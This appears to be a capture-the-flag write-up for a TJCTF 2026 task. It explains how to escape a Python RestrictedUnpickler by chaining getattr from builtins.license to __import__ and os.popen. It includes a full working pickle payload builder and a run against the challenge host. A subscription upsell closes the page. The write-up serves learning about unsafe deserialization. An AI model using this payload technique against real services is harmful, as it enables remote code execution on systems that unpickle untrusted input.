$ cat writeup.md…
$ cat writeup.md…
TJCTF 2026
Task: Python pickle deserialization server with RestrictedUnpickler that whitelists builtins module and blocklists dangerous names (eval, exec, __import__, open). Solution: getattr is not blocked — chain through license.__class__.__init__.__globals__ to recover __import__, import os, and execute commands via os.popen.
Rick has open sourced his mind blowers program! Now you can upload your own mind blowers and view them! Don't upload any malicious mind blowers!
Connection: nc tjc.tf 31422 Source file: server.py
A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler. The goal is to bypass the restrictions and achieve remote code execution to read the flag.
The server implements a custom RestrictedUnpickler with two layers of defense:
builtins module is allowed — any other module in find_class raises an errorBLOCKED_NAMES = { "eval", "exec", "compile", "__import__", "open", "breakpoint", "input", "exit", "quit", }
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module != "builtins": raise pickle.UnpicklingError("banned") if name in BLOCKED_NAMES: raise pickle.UnpicklingError("blocked") return super().find_class(module, name)
getattr is Not BlockedThe blocklist only covers 9 names. Crucially, getattr is not among them. This is the key vulnerability because:
find_class method, which is invoked by GLOBAL/STACK_GLOBAL opcodes during deserializationbuiltins.getattr as a callable, we can use pickle's REDUCE opcode to call it at runtimegetattr calls do not go through find_class — they are normal Python attribute lookups__import__ via getattr even though it's blocked in find_classStarting from builtins.license (a _sitebuiltins._Printer instance available in the builtins namespace), we can traverse the Python object graph to reach __import__:
builtins.license → _sitebuiltins._Printer instance
.__class__ → _sitebuiltins._Printer class
.__init__ → Python function (has __globals__)
.__globals__ → module globals dict
.get("__builtins__") → builtins dict (the real one)
.get("__import__") → __import__ function (unrestricted!)
The reason license works as an entry point is that it's a Python-level object (not a C builtin), so its __init__ method has __globals__ — unlike C-implemented builtins like print or len whose methods don't expose __globals__.
The payload uses only two GLOBAL references that pass the filter: builtins.getattr and builtins.license. Everything else is achieved through REDUCE (function call) opcodes chaining getattr calls:
#!/usr/bin/env python3 import pickle import io import base64 def build_payload(cmd="cat /flag*"): p = b'' # Step 1: cls = getattr(license, "__class__") → _sitebuiltins._Printer p += b'cbuiltins\ngetattr\n(cbuiltins\nlicense\nS"__class__"\ntR' # Step 2: init = getattr(cls, "__init__") → bound method with __globals__ p += b'p0\ncbuiltins\ngetattr\n(g0\nS"__init__"\ntR' # Step 3: globs = getattr(init, "__globals__") → module globals dict p += b'p1\ncbuiltins\ngetattr\n(g1\nS"__globals__"\ntR' # Step 4: get = getattr(globs, "get"); builtins = get("__builtins__") p += b'p2\ncbuiltins\ngetattr\n(g2\nS"get"\ntR(S"__builtins__"\ntR' # Step 5: get = getattr(builtins, "get"); imp = get("__import__") p += b'p3\ncbuiltins\ngetattr\n(g3\nS"get"\ntR(S"__import__"\ntR' # Step 6: os = __import__("os") p += b'p4\n(S"os"\ntR' # Step 7: popen = getattr(os, "popen"); f = popen(cmd) p += b'p5\ncbuiltins\ngetattr\n(g5\nS"popen"\ntR(S"' + cmd.encode() + b'"\ntR' # Step 8: read = getattr(f, "read"); result = read() p += b'p6\ncbuiltins\ngetattr\n(g6\nS"read"\ntR(tR' # Stop p += b'.' return p payload = build_payload() encoded = base64.b64encode(payload).decode() print(encoded) # Verify locally result = pickle.loads(payload) print(f"Result: {result}")
| Opcode | Meaning | Effect |
|---|---|---|
c | GLOBAL | Push builtins.getattr or builtins.license |
( | MARK | Start tuple for function arguments |
S"..." | STRING | Push a string literal |
t | TUPLE | Build tuple from mark to here |
R | REDUCE | Call function with args tuple |
p0 | PUT | Store result in memo slot 0 |
g0 | GET | Retrieve from memo slot 0 |
. | STOP | End of pickle stream |
$ python3 solve.py | nc tjc.tf 31422
=== Rick's Mind Blower Server v3 ===
Only safe memories allowed now!!!!
Upload a memory (base64 encoded) > Here is your memory: tjctf{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar